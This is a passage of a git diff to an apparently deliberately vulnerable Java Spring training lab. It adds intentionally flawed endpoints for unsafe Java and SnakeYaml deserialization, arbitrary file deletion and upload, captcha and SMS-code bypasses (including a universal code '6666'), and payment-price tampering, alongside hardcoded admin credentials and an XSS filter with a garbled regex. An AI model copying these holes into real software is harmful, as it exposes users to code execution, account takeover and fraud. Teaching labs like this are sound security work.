hibernateProperties() { -// Properties properties = new Properties(); -// properties.put("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); -// properties.put("hibernate.show_sql", true); -// properties.put("hibernate.format_sql", true); -// properties.put("hibernate.hbm2ddl.auto", "update"); -// return properties; -// } -// -//} diff --git a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java b/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java deleted file mode 100644 index 0bccf79..0000000 --- a/src/main/java/top/whgojp/common/config/ViewResolverConfiguration.java +++ /dev/null @@ -1,80 +0,0 @@ -//package top.whgojp.common.config; -// -//import org.springframework.beans.factory.annotation.Autowired; -//import org.springframework.context.annotation.Bean; -//import org.springframework.context.annotation.ComponentScan; -//import org.springframework.context.annotation.Configuration; -//import org.springframework.web.servlet.ViewResolver; -//import org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer; -//import org.springframework.web.servlet.config.annotation.EnableWebMvc; -//import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; -//import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -//import org.springframework.web.servlet.view.InternalResourceViewResolver; -//import org.thymeleaf.spring5.SpringTemplateEngine; -//import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver; -//import org.thymeleaf.spring5.view.ThymeleafViewResolver; -//import org.thymeleaf.templatemode.TemplateMode; -//import top.whgojp.common.constant.SysConstant; -// -//@Configuration -//@EnableWebMvc -//@ComponentScan("top.whgojp.modules") // 扫描控制器组件 -//public class ViewResolverConfiguration implements WebMvcConfigurer { -// -// @Autowired -// private SysConstant sysConstant; -// -// @Override -// public void addResourceHandlers(ResourceHandlerRegistry registry) { -// String uploadFolderPath = sysConstant.getUploadFolder(); -// registry.addResourceHandler("/file/**") -// .addResourceLocations("file:" + uploadFolderPath + "/"); -// registry.addResourceHandler("/static/**") -// .addResourceLocations("classpath:/static/"); -// } -// -// // Thymeleaf视图解析器 -// @Bean -// public ViewResolver thymeleafViewResolver() { -// ThymeleafViewResolver resolver = new ThymeleafViewResolver(); -// resolver.setTemplateEngine(templateEngine()); -// resolver.setCharacterEncoding("UTF-8"); -// resolver.setOrder(1); // 优先级较高 -// return resolver; -// } -// -// // JSP视图解析器 -// @Bean -// public ViewResolver jspViewResolver() { -// InternalResourceViewResolver resolver = new InternalResourceViewResolver(); -// resolver.setPrefix("/WEB-INF/"); -// resolver.setSuffix(".jsp"); -// resolver.setViewNames("jsp/*"); // 只有在视图名称以"jsp/"开头时才使用JSP解析器 -// resolver.setOrder(2); // 优先级较低 -// return resolver; -// } -// -// -// -// @Bean -// public SpringResourceTemplateResolver templateResolver() { -// SpringResourceTemplateResolver templateResolver = new SpringResourceTemplateResolver(); -// templateResolver.setPrefix("classpath:/templates/"); -// templateResolver.setSuffix(".html"); -// templateResolver.setTemplateMode(TemplateMode.HTML); -// templateResolver.setCharacterEncoding("UTF-8"); -// return templateResolver; -// } -// -// @Bean -// public SpringTemplateEngine templateEngine() { -// SpringTemplateEngine templateEngine = new SpringTemplateEngine(); -// templateEngine.setTemplateResolver(templateResolver()); -// return templateEngine; -// } -// -// @Override -// public void configureDefaultServletHandling(DefaultServletHandlerConfigurer configurer) { -// configurer.enable("default"); -// } -//} diff --git a/src/main/java/top/whgojp/common/constant/SysConstant.java b/src/main/java/top/whgojp/common/constant/SysConstant.java index 30225a7..8a3c853 100644 --- a/src/main/java/top/whgojp/common/constant/SysConstant.java +++ b/src/main/java/top/whgojp/common/constant/SysConstant.java @@ -1,12 +1,13 @@ package top.whgojp.common.constant; import lombok.Data; -import lombok.SneakyThrows; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ResourceLoader; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; +import java.io.File; import java.io.IOException; /** @@ -36,24 +37,36 @@ public class SysConstant { @Autowired private ResourceLoader resourceLoader; + @Value("${folder.upload:/tmp/upload}") private String uploadFolder; + + @Value("${folder.static:/tmp/static}") private String staticFolder; + public SysConstant(ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + } + @PostConstruct public void init() throws IOException { - // 获取资源对象 - Resource uploadResource = resourceLoader.getResource("classpath:/static/upload/"); - Resource staticResource = resourceLoader.getResource("classpath:/static/"); - if (uploadResource.exists() && staticResource.exists()) { - try { - this.uploadFolder = uploadResource.getFile().getPath(); // 仅在资源存在于文件系统中时有效 - this.staticFolder = staticResource.getFile().getPath(); - } catch (IOException e) { - this.uploadFolder = uploadResource.getURL().toString(); // 获取资源的URL - this.staticFolder = staticResource.getURL().toString(); - } - } else { - throw new IOException("Resource not found!"); + // 初始化上传目录 + initializeDirectory(uploadFolder, "upload"); + + // 初始化静态资源目录 + initializeDirectory(staticFolder, "static"); + } + + /** + * 初始化目录,如果不存在则尝试创建 + * + * @param path 目录路径 + * @param directoryName 目录名称,用于错误提示 + * @throws IOException 如果目录创建失败 + */ + private void initializeDirectory(String path, String directoryName) throws IOException { + File dir = new File(path); + if (!dir.exists() && !dir.mkdirs()) { + throw new IOException("Failed to create " + directoryName + " directory: " + path); } } diff --git a/src/main/java/top/whgojp/common/utils/CheckUserInput.java b/src/main/java/top/whgojp/common/utils/CheckUserInput.java index 13f8ad9..8f191d8 100644 --- a/src/main/java/top/whgojp/common/utils/CheckUserInput.java +++ b/src/main/java/top/whgojp/common/utils/CheckUserInput.java @@ -1,12 +1,13 @@ package top.whgojp.common.utils; import org.springframework.stereotype.Component; - +import org.springframework.web.util.HtmlUtils; import java.net.URI; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; +import java.util.regex.Pattern; /** * @description 用户输入数据校验 @@ -16,6 +17,30 @@ */ @Component public class CheckUserInput { + private static final Pattern SCRIPT_PATTERN = Pattern.compile("]*>.*?", Pattern.CASE_INSENSITIVE | Pattern.DOTALL); + private static final Pattern EVENT_PATTERN = Pattern.compile("on\\w+\\s*=", Pattern.CASE_INSENSITIVE); + private static final Pattern JAVASCRIPT_PATTERN = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE); + + public String filter(String input) { + if (input == null) { + return ""; + } + + // 基本HTML转义 + String filtered = HtmlUtils.htmlEscape(input); + + // 移除script标签 + filtered = SCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除事件处理器 + filtered = EVENT_PATTERN.matcher(filtered).replaceAll(""); + + // 移除javascript:协议 + filtered = JAVASCRIPT_PATTERN.matcher(filtered).replaceAll(""); + + return filtered; + } + public String checkUser(String username, String password, Integer id) { String message = ""; if (username == null || username.isEmpty()) { diff --git a/src/main/java/top/whgojp/common/utils/UploadUtil.java b/src/main/java/top/whgojp/common/utils/UploadUtil.java index 347385a..838e4f1 100644 --- a/src/main/java/top/whgojp/common/utils/UploadUtil.java +++ b/src/main/java/top/whgojp/common/utils/UploadUtil.java @@ -1,20 +1,13 @@ package top.whgojp.common.utils; -import cn.hutool.core.date.DateUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.core.io.ResourceLoader; import org.springframework.stereotype.Component; -import org.springframework.util.StringUtils; import org.springframework.web.multipart.MultipartFile; import top.whgojp.common.constant.SysConstant; import java.io.File; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.Objects; @Slf4j @Component @@ -23,26 +16,26 @@ public class UploadUtil { @Autowired private SysConstant sysConstant; - - private static final String UPLOAD_DIR = "uploads"; // 可以改成配置文件中的路径 - - public String uploadFile(MultipartFile file, String suffix,String path) throws IOException { - + public String uploadFile(MultipartFile file, String suffix, String path) throws IOException { + // 从配置中获取上传目录 String uploadFolderPath = sysConstant.getUploadFolder(); - try { - - String fileName = +DateUtil.current() + "."+suffix; - String newFilePath = uploadFolderPath + "/" + fileName; - - file.transferTo(new File(newFilePath)); // 将文件保存到指定路径 + // 确保目录存在 + File uploadDir = new File(uploadFolderPath); + if (!uploadDir.exists() && !uploadDir.mkdirs()) { + throw new IOException("Failed to create upload directory: " + uploadFolderPath); + } + // 构建文件路径 + String fileName = System.currentTimeMillis() + "." + suffix; + String newFilePath = uploadFolderPath + File.separator + fileName; + // 保存文件 + file.transferTo(new File(newFilePath)); log.info("上传文件成功,文件路径:" + newFilePath); return "上传文件成功,文件路径:" + path + fileName; } catch (IOException e) { - e.printStackTrace(); // 打印异常堆栈信息 - log.info("文件上传失败" + e.getMessage()); - return "文件上传失败" + e.getMessage(); + log.error("文件上传失败:{}", e.getMessage(), e); + throw e; // 重新抛出异常供上层处理 } - } + } \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java index 6a01927..03de345 100644 --- a/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java +++ b/src/main/java/top/whgojp/modules/components/fastjson/controller/FastjsonController.java @@ -38,6 +38,11 @@ public String vul(@RequestBody String content) { } } + public String vul2(){ + + return ""; + } + @PostMapping("/safe") @ResponseBody public String safe(@RequestBody String content) { @@ -47,7 +52,7 @@ public String safe(@RequestBody String content) { // 2、使用AutoType白名单机制 // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ParserConfig.getGlobalInstance().addAccept("top.whgojp.WhiteListClass"); - // 3、1.2.68之后的版本,Fastjson真家里safeMode的支持 + // 3、1.2.68之后的版本,Fastjson增加了safeMode的支持 // ParserConfig.getGlobalInstance().setSafeMode(true); // JSONObject jsonObject = JSON.parseObject(content, Feature.DisableSpecialKeyDetect); JSONObject jsonObject = JSON.parseObject(content); diff --git a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java index f49db0f..e014f8e 100644 --- a/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java +++ b/src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java @@ -8,6 +8,9 @@ import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; import top.whgojp.modules.sqli.entity.Sqli; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; + import java.io.ByteArrayInputStream; import java.util.Base64; @@ -30,23 +33,46 @@ public String readObject(){ return "vul/deserialize/readObject"; } +// @RequestMapping("/vul") +// @ResponseBody +// public R vul(String payload) { +// System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); +// log.info("Java反序列化:"+payload); +// try { +// payload = payload.replace(" ", "+"); +// byte[] bytes = Base64.getDecoder().decode(payload); +// ByteArrayInputStream stream = new ByteArrayInputStream(bytes); +// java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); +// in.readObject(); +// in.close(); +// return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); +// } catch (Exception e) { +// return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); +// } +// } @RequestMapping("/vul") @ResponseBody public R vul(String payload) { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); - log.info("Java反序列化:"+payload); + log.info("Java反序列化:" + payload); try { payload = payload.replace(" ", "+"); byte[] bytes = Base64.getDecoder().decode(payload); ByteArrayInputStream stream = new ByteArrayInputStream(bytes); - java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream); - in.readObject(); + ObjectInputStream in = new ObjectInputStream(stream); + + Object obj = in.readObject(); + log.info("反序列化对象:" + obj.toString()); + in.close(); - return R.ok("[+]Java反序列化:ObjectInputStream.readObject()"); + return R.ok("[+]Java反序列化:"+obj); } catch (Exception e) { - return R.error("[-]请输入正确的Payload!\n"+e.getMessage()); + return R.error("[-] 请输入正确的 Payload!\n" + e.getMessage()); } } + + + @RequestMapping("/safe1") @ResponseBody public R safe1(String payload) { diff --git a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java index 20d5592..25c3792 100644 --- a/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java +++ b/src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java @@ -32,6 +32,7 @@ public String snakeYaml(){ @RequestMapping("/vul") @ResponseBody public R vul(String payload) { + log.info("payload:"+payload); Yaml y = new Yaml(); y.load(payload); return R.ok("[+]Java反序列化:SnakeYaml原生漏洞"); diff --git a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java index 7c0afcb..098ecb5 100644 --- a/src/main/java/top/whgojp/modules/file/controller/DeleteController.java +++ b/src/main/java/top/whgojp/modules/file/controller/DeleteController.java @@ -33,7 +33,7 @@ public String fileDelete() { return "vul/file/delete"; } - @ApiOperation(value = "漏洞环境:任意文件删除", notes = "原生漏洞环境,未做任何限制") + @ApiOperation(value = "漏洞场景:任意文件删除", notes = "原生漏洞场景,未做任何限制") @RequestMapping("/vul") @ResponseBody @SneakyThrows @@ -54,7 +54,7 @@ public String vul(@RequestParam("filePath") String filePath) { @Autowired private SysConstant sysConstant; - @ApiOperation(value = "安全环境:限制文件删除", notes = "仅允许删除特定目录中的文件") + @ApiOperation(value = "安全场景:限制文件删除", notes = "仅允许删除特定目录中的文件") @RequestMapping("/safe") @ResponseBody @SneakyThrows diff --git a/src/main/java/top/whgojp/modules/file/controller/UploadController.java b/src/main/java/top/whgojp/modules/file/controller/UploadController.java index 1757c76..8a05821 100644 --- a/src/main/java/top/whgojp/modules/file/controller/UploadController.java +++ b/src/main/java/top/whgojp/modules/file/controller/UploadController.java @@ -38,7 +38,7 @@ public String fileUpload() { return "vul/file/upload"; } - @ApiOperation(value = "漏洞环境:任意文件上传", notes = "原生漏洞环境,未做任何限制") + @ApiOperation(value = "漏洞场景:任意文件上传", notes = "原生漏洞场景,未做任何限制") @RequestMapping("/vul") @ResponseBody @SneakyThrows diff --git a/src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java similarity index 50% rename from src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java rename to src/main/java/top/whgojp/modules/funny/controller/HijackController.java index 1d1b0db..ff3e9a9 100644 --- a/src/main/java/top/whgojp/modules/loginconfront/LoginConfrontController.java +++ b/src/main/java/top/whgojp/modules/funny/controller/HijackController.java @@ -1,4 +1,4 @@ -package top.whgojp.modules.loginconfront; +package top.whgojp.modules.funny.controller; import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; @@ -7,19 +7,20 @@ import org.springframework.web.bind.annotation.RequestMapping; /** - * @description 登录框对抗 + * @description <功能描述> * @author: whgojp * @email: whgojp@foxmail.com - * @Date: 2024/8/8 23:16 + * @Date: 2025/1/17 16:31 */ @Slf4j -@Api(value = "LoginConfrontController", tags = "敏感信息泄漏-测试页面") +@Api(value = "HijackController", tags = "劫持模块") @Controller @CrossOrigin(origins = "*") -@RequestMapping("/loginConfront") -public class LoginConfrontController { - @RequestMapping("") - public String CeShi() { - return "vul/loginconfront/loginConfront"; +@RequestMapping("/funny/hijack") +public class HijackController { + @RequestMapping() + public String hijack(){ + return "vul/funny/hijack"; } + } diff --git a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java index 2a0a546..184db1a 100644 --- a/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java +++ b/src/main/java/top/whgojp/modules/infoleak/controller/JsFileLeakController.java @@ -28,7 +28,7 @@ public String hardCoding(){ } @RequestMapping("/loginSuccess") public String loginSuccess(){ - return "/vul/infoleak/loginSuccess"; + return "vul/infoleak/loginSuccess"; } } diff --git a/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java new file mode 100644 index 0000000..7e8ff96 --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/captcha/controller/GraphicController.java @@ -0,0 +1,188 @@ +package top.whgojp.modules.logic.captcha.controller; + +import cn.hutool.captcha.CaptchaUtil; +import cn.hutool.captcha.ShearCaptcha; +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; + +/** + * @description 逻辑漏洞-验证码安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/13 22:47 + */ +@Slf4j +@Api(value = "GraphicController", tags = "逻辑漏洞-验证码安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/captcha/graphic") +public class GraphicController { + + @RequestMapping("") + public String graphic() { + return "vul/logic/captcha/graphic"; + } + + // 测试账号密码 + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + @GetMapping("/img") + public void captcha(HttpSession session, HttpServletResponse response) throws Exception { + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + + //定义图形验证码的长、宽、验证码字符数、干扰线宽度 + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 4, 3); + try { + //输出 + shearCaptcha.write(response.getOutputStream()); + String captchaCode = shearCaptcha.getCode(); + session.setAttribute("vulCaptcha", captchaCode); + session.setAttribute("captchaCreationTime", System.currentTimeMillis()); + log.info("session id {}, 生成的验证码 {}", session.getId(), captchaCode); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + public Boolean verifyCaptcha(String captchaInput, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + Long captchaCreationTime = (Long) session.getAttribute("captchaCreationTime"); + // 如果没有验证码或生成时间,返回失败 + if (sessionCaptcha == null || captchaCreationTime == null) { +// return R.error("验证码已失效,请刷新后重试"); + return false; + } + + // 验证码有效期为300秒(5分钟) + long captchaExpiryTime = 300 * 1000; // 300秒转换为毫秒 + + // 检查验证码是否过期 + if (System.currentTimeMillis() - captchaCreationTime > captchaExpiryTime) { + session.removeAttribute("vulCaptcha"); + session.removeAttribute("captchaCreationTime"); +// return R.error("验证码已过期,请刷新后重试"); + return false; + } + + // 验证输入的验证码 + if (sessionCaptcha.equalsIgnoreCase(captchaInput)) { + // 验证成功后清除 session 中的验证码 +// session.removeAttribute("vulCaptcha"); +// session.removeAttribute("captchaCreationTime"); +// return R.ok("验证码验证成功"); + return true; + } else { +// return R.ok("验证码错误,请重新输入"); + return false; + } + + } + + @PostMapping("/vul1") + @ResponseBody + public R vul1(String username, String password, String captcha, HttpSession session) { + if (verifyCaptcha(captcha, session)) { + log.info("验证码有效,校验成功"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("账号或密码错误!"); + } + } else { + log.info("验证码错误!(5分钟内有效)"); + return R.error("验证码错误!(5分钟内有效)"); + } + } + + @PostMapping("/vul2") + @ResponseBody + public R vul2(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + // 万能验证码:6666 + if ("6666".equals(captcha) || (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha))) { + // 及时清除旧验证码 + session.removeAttribute("vulCaptcha"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else return R.error("账号或密码错误!"); + } else { + session.removeAttribute("vulCaptcha"); + return R.error("验证码错误!"); + } + } + + @PostMapping("/vul3") + @ResponseBody + public R vul3(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("vulCaptcha"); + if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) { + session.removeAttribute("vulCaptcha"); + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("账号爆破成功!用户名:" + username + ",密码:" + password); + } else return R.error("账号或密码错误!"); + } else { + session.removeAttribute("vulCaptcha"); + return R.error("验证码错误!"); + } + } + @GetMapping("/safeImg") + public void safeImg(HttpSession session, HttpServletResponse response) throws Exception { + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + + //定义图形验证码的长、宽、验证码字符数、干扰线宽度 + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(90, 30, 6, 3); + try { + //输出 + shearCaptcha.write(response.getOutputStream()); + String captchaCode = shearCaptcha.getCode(); + session.setAttribute("safeCaptcha", captchaCode); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + log.info("session id {}, 生成的验证码 {}", session.getId(), captchaCode); + + } catch (IOException e) { + throw new RuntimeException(e); + } + } + @PostMapping("/safe") + @ResponseBody + public R safe(String username, String password, String captcha, HttpSession session) { + String sessionCaptcha = (String) session.getAttribute("safeCaptcha"); + Long captchaTimestamp = (Long) session.getAttribute("captchaCreationTime"); + // 验证验证码是否已失效(1分钟有效) + if (captchaTimestamp == null || System.currentTimeMillis() - captchaTimestamp > 60 * 1000) { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已失效,请重新获取!"); + } + // 校验验证码 + if (sessionCaptcha != null && sessionCaptcha.equalsIgnoreCase(captcha)) { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + // 校验账号密码 + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("登录成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("账号或密码错误!"); + } + } else { + session.removeAttribute("safeCaptcha"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码错误,请重新输入!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java b/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java new file mode 100644 index 0000000..c672772 --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/captcha/controller/SMSController.java @@ -0,0 +1,127 @@ +package top.whgojp.modules.logic.captcha.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpSession; +import java.util.Random; + +/** + * @description 逻辑漏洞-验证码安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/13 22:47 + */ +@Slf4j +@Api(value = "SMSController", tags = "逻辑漏洞-验证码安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/captcha/sms") +public class SMSController { + @RequestMapping("") + public String sms() { + return "vul/logic/captcha/sms"; + } + + @GetMapping("/code") + @ResponseBody + public R code(String phone, HttpSession session) { + if (phone == null || phone.isEmpty() || !phone.matches("^1[3-9]\\d{9}$")) { + return R.error("手机号格式不正确!"); + } + + Random random = new Random(); + // 随机生成6位数验证码 + String captcha = String.valueOf(100000 + random.nextInt(900000)); + session.setAttribute("phone", phone); + session.setAttribute("smsCode", captcha); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + + System.out.println("发送短信验证码:" + captcha + " 给手机号:" + phone); + + return R.ok("发送验证码成功!" + captcha); + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(String phone, String code, HttpSession session) { + if (phone == null || phone.isEmpty()) { + return R.error("手机号不能为空!"); + } + String sessionPhone = (String) session.getAttribute("phone"); + String sessionCaptcha = (String) session.getAttribute("smsCode"); + Long captchaTimestamp = (Long) session.getAttribute("captchaTimestamp"); + if (sessionPhone == null || sessionCaptcha == null || captchaTimestamp == null) { + return R.error("验证码已失效,请重新获取!"); + } + if (!sessionPhone.equals(phone)) { + return R.error("手机号与验证码不匹配!"); + } + if (System.currentTimeMillis() - captchaTimestamp > 5 * 60 * 1000) { + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已过期,请重新获取!"); + } + if (!sessionCaptcha.equals(code)) { + return R.error("验证码错误,请重新输入!"); + } + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.ok("验证通过!用户:"+phone); + } + + @GetMapping("/code2") + @ResponseBody + public R code2(String phone, HttpSession session) { + if (phone == null || phone.isEmpty() || !phone.matches("^1[3-9]\\d{9}$")) { + return R.error("手机号格式不正确!"); + } + + Random random = new Random(); + String captcha = String.valueOf(100000 + random.nextInt(900000)); + session.setAttribute("phone", phone); + session.setAttribute("smsCode", captcha); + session.setAttribute("captchaTimestamp", System.currentTimeMillis()); + + System.out.println("发送短信验证码:" + captcha + " 给手机号:" + phone); + + return R.ok("发送验证码成功!"); + } + @RequestMapping("/vul2") + @ResponseBody + public R vul2(String phone, String code, @RequestParam(required = false, defaultValue = "false") boolean code_verify, HttpSession session) { + if (phone == null || phone.isEmpty()) { + return R.error("手机号不能为空!"); + } + String sessionPhone = (String) session.getAttribute("phone"); + String sessionCaptcha = (String) session.getAttribute("smsCode"); + Long captchaTimestamp = (Long) session.getAttribute("captchaTimestamp"); + if (sessionPhone == null || sessionCaptcha == null || captchaTimestamp == null) { + return R.error("验证码已失效,请重新获取!"); + } + if (!sessionPhone.equals(phone)) { + return R.error("手机号与验证码不匹配!"); + } + if (System.currentTimeMillis() - captchaTimestamp > 5 * 60 * 1000) { + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.error("验证码已过期,请重新获取!"); + } + if (code_verify){ + return R.ok("验证通过!用户:"+phone); + } + if (!sessionCaptcha.equals(code)) { + return R.error("验证码错误,请重新输入!"); + } + session.removeAttribute("phone"); + session.removeAttribute("smsCode"); + session.removeAttribute("captchaTimestamp"); + return R.ok("验证通过!用户:"+phone); + } +} diff --git a/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java index d5f529f..3eb998f 100644 --- a/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java +++ b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java @@ -22,16 +22,16 @@ @RequestMapping("/logic/idor/vertical") public class VerticalController { @RequestMapping("") - public String vertical(){ + public String vertical() { return "vul/logic/idor/vertical"; } @GetMapping("/vul") - public String vul(){ - String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); - if ("admin".equals(currentUsername)) { - return "common/401"; - }else return "/vul/logic/idor/admin"; + public String vul() { + String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); + if ("admin".equals(currentUsername)) { + return "vul/logic/idor/admin"; + } else return "common/401"; } } diff --git a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java index 0abbb85..c6ffbd4 100644 --- a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java +++ b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java @@ -1,10 +1,229 @@ package top.whgojp.modules.logic.pay.controller; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.math.BigDecimal; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicReference; +import java.util.HashMap; + /** - * @description <功能描述> + * @description 逻辑漏洞-支付漏洞 * @author: whgojp * @email: whgojp@foxmail.com * @Date: 2024/8/28 22:07 */ +@Slf4j +@Api(value = "PayController", tags = "逻辑漏洞-支付漏洞") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/pay") public class PayController { + // 用户余额 + private final AtomicReference userMoney = new AtomicReference<>(new BigDecimal("1000.00")); + // 商品单价(用于服务端验证) + private final BigDecimal goodPrice = new BigDecimal("100.00"); + // 订单状态缓存 + private final Map orderStatusMap = new ConcurrentHashMap<>(); + // 支付状态缓存(用于防止重复支付) + private final Map paymentStatusMap = new ConcurrentHashMap<>(); + + @RequestMapping("") + public String pay() { + return "vul/logic/pay/pay"; + } + + /** + * 订单状态类 + */ + private static class OrderStatus { + BigDecimal amount; + boolean isPaid; + String orderId; + + public OrderStatus(String orderId, BigDecimal amount) { + this.orderId = orderId; + this.amount = amount; + this.isPaid = false; + } + } + + /** + * 漏洞场景1:支付金额参数篡改 + * 由于未对客户端传入的价格参数进行验证,攻击者可以修改支付金额 + */ + @ApiOperation("支付金额参数篡改漏洞") + @RequestMapping("/vul1") + @ResponseBody + public R vul1(@RequestParam String count, @RequestParam String price) { + try { + double totalPrice = Integer.parseInt(count) * Double.parseDouble(price); + log.info("用户需支付金额:" + totalPrice); + + // 直接使用客户端传入的价格,未与服务端商品实际价格进行校验 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalPrice)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalPrice))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error(e.toString()); + } + } + + /** + * 漏洞场景2:订单重放攻击 + * 由于未对订单是否重复支付进行验证,攻击者可以重复发送相同的支付请求 + */ + @ApiOperation("订单重放攻击漏洞") + @RequestMapping("/vul2") + @ResponseBody + public R vul2(@RequestParam String orderId, 